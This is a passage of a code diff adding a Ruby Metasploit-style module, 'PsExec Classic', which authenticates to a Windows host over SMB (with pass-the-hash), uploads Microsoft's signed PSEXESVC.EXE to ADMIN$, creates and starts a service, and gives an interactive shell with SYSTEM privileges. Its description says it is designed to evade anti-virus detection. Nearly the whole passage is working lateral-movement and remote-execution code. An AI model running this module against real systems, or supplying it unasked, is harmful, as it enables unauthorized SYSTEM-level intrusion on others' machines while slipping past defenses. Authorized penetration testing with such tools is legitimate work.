'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful + because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec + (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. + Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) + so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => + [ + 'Joe Testa ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options( + [ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run() + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + psexesvc = extract_psexesvc(psexec_path, true) + + print_status("Connecting to #{datastore['RHOST']}...") + if not connect + print_error("Failed to connect.") + return false + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + print_error("Server granted only Guest privileges.") + disconnect + return false + end + + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, attempt to continue since it might already exist from + # a previous run. + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + + begin + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + print_error('Failed to obtain handle to service control manager.') + return + end + + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + print_error('Error while creating new service.') + return + end + + # Close the handle to the service. + if not dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end + + rescue ::Exception => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. + end + + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + print_error('Failed to open service.') + return + end + + # Start the service. + print_status('Starting the service...') + if not dce_startservice(dcerpc, svc_handle) + print_error('Failed to start the service.') + return + end + + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + return + end + + + print_status("Connecting to \\psexecsvc pipe...") + psexecsvc_proc = simple.create_pipe('\psexecsvc') + + # For some reason, the service needs to be pinged first to + # wake it up... + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + smbclient = simple.client + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, + "\xee\x58\x4a\x58\x4a\x00\x00" << + random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), true) + + # In the next three messages, we just send lots of zero bytes... + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, + "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << + "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << + ("\x00" * 11), true) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") + + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Print the data from our read request. + print parsed_smbpacket['Payload'].v['Payload'] + + # Check the multiplex ID from this read response, and see + # which pipe it came from (stdout or stderr?). Issue another + # read request on that pipe. + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + elsif received_multiplex_id == stderr_multiplex_id + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + end + end + end + + # If the user entered some input. + if (r != nil) and (r.include? $stdin) + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) + end + + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) + last_char = data + end + end + rescue ::Exception => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + # Stop the service. + begin + print_status('Stopping the service...') + if not dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + # Wait a little bit for it to stop before we delete the service. + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + + # Delete the service. + begin + print_status("Removing the service...") + if not dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end + + print_status("Closing service handle...") + if not dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + select(nil, nil, nil, retries) + + if dce_queryservice(dcerpc, svc_handle) == 2 + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end end